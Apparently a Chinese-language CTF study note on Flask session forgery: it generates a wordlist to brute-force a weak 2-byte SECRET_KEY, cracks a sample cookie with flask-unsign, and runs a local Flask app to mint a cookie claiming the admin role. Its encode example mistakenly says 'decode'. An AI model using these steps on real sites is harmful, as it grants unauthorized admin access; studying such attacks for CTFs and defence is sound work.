SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。文件中的数据即是序列化之后的 SESSION 数据了
session伪造 pin泄露console命令
1)附件里 app.config['SECRET_KEY'] = os.urandom(2).hex()
先生成字典脚本如下:
import itertools
d = itertools.product('0123456789abcdef', repeat=4)
with open('dicts.txt', 'w') as f:
for i in d:
s = ''.join(i)
f.write(s + '\n')
2)报错key以 flask-unsign 为例 :
flask-unsign -u -c '.eyJub3RlcyI6e319.ZRaiVg.28tEyvEpXfcjFl5rrQ7K_nkl208' -w dicts.txt-- no-literal-eval得到secret-key=18ff
命令使用:
decode
python flask_session_cookie_manager{2,3}.py decode -c [cookie] -s [Secret key]
也可以不加s参数,直接尝试base64解码,如上脚本
encode
python flask_session_cookie_manager{2,3}.py decode -s [Secret key] -t "[之前解出的字符串]" //一定要是双引号
3)本地起模拟,获得cookie
#flask server
from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
@app.route('/login')
def login():
# 模拟登录,将用户名和角色存储在会话中
session['loggedin'] = True
session['username'] = 'admin'
session['role'] = 'admin'
return "登录成功!"
app.run()